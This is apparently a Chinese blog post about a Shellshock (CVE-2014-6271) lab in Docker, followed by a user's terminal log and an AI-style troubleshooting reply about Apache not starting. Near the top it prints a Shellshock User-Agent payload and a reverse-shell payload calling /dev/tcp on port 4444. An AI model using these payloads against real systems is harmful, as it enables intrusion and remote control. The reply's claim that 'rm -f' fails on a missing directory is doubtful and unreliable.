Bash(shellshock)

本文探讨了GNU Bash 4.3以下版本的安全漏洞,涉及如何利用启动服务器和通过抓包技巧执行反弹shell攻击。同时,提供了针对这种漏洞的防御措施和如何检查容器安全的步骤。

影响
漏洞影响:GNU Bash <= 4.3

启动服务器

搭建:docker-compose up -d
查看:docker-compose ps

请添加图片描述
抵达网站
请添加图片描述
抓包拦截

User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);
反弹shell:User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.118.1/4444 0>&1;

请添加图片描述

root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# docker exec -it 12shellshockcve-2014-6271-web-1 ps aux | grep apache root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# docker exec -it 12shellshockcve-2014-6271-web-1 netstat -tuln | grep :80 root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# cat victim.cgi #!/usr/local/bash-4.3.0/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">' echo '<title>Bash ShellShock</title>' echo '</head>' echo '<body>' echo '<p>' echo 'Hello world' echo '</p>' echo '</body>' echo '</html>' exit 0root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# \curl --noproxy '*' -v http://127.0.0.1/cgi-bin/victim.cgi * Trying 127.0.0.1:80... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > GET /cgi-bin/victim.cgi HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 404 Not Found < Date: Mon, 01 Dec 2025 06:42:26 GMT < Server: Apache/2.4.10 (Debian) < Content-Length: 291 < Content-Type: text/html; charset=iso-8859-1 < <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /cgi-bin/victim.cgi was not found on this server.</p> <hr> <address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address> </body></html> * Connection #0 to host 127.0.0.1 left intact root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)#
最新发布
12-02
普通文本型问题,直接回答如下: 您已提供了完整的诊断信息,我们来**逐条分析**: --- ### ✅ 您执行的命令及输出: #### 1. 查看 Apache 进程 ```bash docker exec -it 12shellshockcve-2014-6271-web-1 ps aux | grep apache ``` 👉 **无输出** #### 2. 查看 80 端口监听 ```bash docker exec -it 12shellshockcve-2014-6271-web-1 netstat -tuln | grep :80 ``` 👉 **无输出** #### 3. 查看 `victim.cgi` 内容 ```bash cat victim.cgi ``` ✅ 内容完整,Shebang 正确: ```bash #!/usr/local/bash-4.3.0/bin/bash ``` 脚本逻辑也正确,结尾有 `exit 0` #### 4. 测试访问 ```bash \curl --noproxy '*' -v http://127.0.0.1/cgi-bin/victim.cgi ``` 返回: ``` HTTP/1.1 404 Not Found The requested URL /cgi-bin/victim.cgi was not found on this server. ``` --- ## 🔍 根本结论:**Apache 服务根本没有启动!** 尽管容器在运行,但: > ❌ `apache2ctl -DFOREGROUND` 没有成功执行 > ❌ 导致 Apache 未监听 80 端口 > ❌ 所有 CGI 请求返回 `404 Not Found` 这就是为什么无论你怎么访问都是失败的。 --- ## 🚨 问题根源:`command` 中的 `rm -f /var/run/apache2/apache2.pid` 失败导致 Apache 启动中断 这是 Vulhub 镜像中一个经典陷阱。 ### 原因分析: 您 `docker-compose.yml` 中的 `command` 是: ```yaml command: > bash -c " rm -f /var/run/apache2/apache2.pid && echo 'Starting Apache in foreground...' && apache2ctl -DFOREGROUND " ``` 问题出在: - 第一次运行时,`/var/run/apache2/` 目录 **不存在** - 所以 `rm -f` 命令其实失败了(虽然 `-f` 会忽略“文件不存在”,但如果目录都不存在,某些系统仍会报错) - 但由于使用了 `&&`,前面命令失败 → 后面 `apache2ctl` **不会执行** - 结果:**Apache 根本没启动** --- ## ✅ 解决方案:改用 `|| true` 避免中断 修改 `docker-compose.yml` 中的 `command`: ```yaml command: > bash -c " mkdir -p /var/run/apache2 && rm -f /var/run/apache2/apache2.pid || true && echo 'Starting Apache in foreground...' && apache2ctl -DFOREGROUND " ``` 或更简洁安全的方式: ```yaml command: > bash -c " mkdir -p /var/run/apache2 && (rm -f /var/run/apache2/apache2.pid || true) && apache2ctl -DFOREGROUND " ``` > ✅ 关键改进: > - `mkdir -p /var/run/apache2` 确保目录存在 > - `|| true` 保证即使 `rm` 失败,整体命令也视为成功,继续执行 --- ## 🔁 修复步骤 ### 1. 编辑 `docker-compose.yml` ```bash nano docker-compose.yml ``` 将 `command` 替换为: ```yaml command: > bash -c " mkdir -p /var/run/apache2 && rm -f /var/run/apache2/apache2.pid || true && echo 'Starting Apache in foreground...' && apache2ctl -DFOREGROUND " ``` ### 2. 重启容器 ```bash docker-compose down docker-compose up -d ``` ### 3. 验证 Apache 是否启动 ```bash docker exec -it 12shellshockcve-2014-6271-web-1 ps aux | grep apache ``` ✅ 应看到: ```text /usr/sbin/apache2 -DFOREGROUND ``` ### 4. 验证端口监听 ```bash docker exec -it 12shellshockcve-2014-6271-web-1 netstat -tuln | grep :80 ``` ✅ 应看到: ```text tcp6 0 0 :::80 :::* LISTEN ``` ### 5. 再次测试访问 ```bash \curl --noproxy '*' http://127.0.0.1/cgi-bin/victim.cgi ``` ✅ 此时应返回完整的 HTML 页面,包含: ```html <p>Hello world</p> ``` --- ## 📌 总结 | 问题 | 原因 | 解法 | |------|------|------| | Apache 未启动 | `rm -f` 失败导致 `&&` 中断 | 改用 `|| true` | | 404 Not Found | Web 服务未运行 | 修复启动脚本 | | `victim.cgi` 无法访问 | 不是路径问题,是服务没起来 | 先让 Apache 跑起来 | --- 🎯 **现在请您立即修改 `docker-compose.yml` 中的 `command`,加入 `mkdir -p` 和 `|| true`,然后重启容器。** 只要这一步完成,Apache 就会正常启动,您就能成功访问 `/cgi-bin/victim.cgi` 并看到 “Hello world” 回显。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值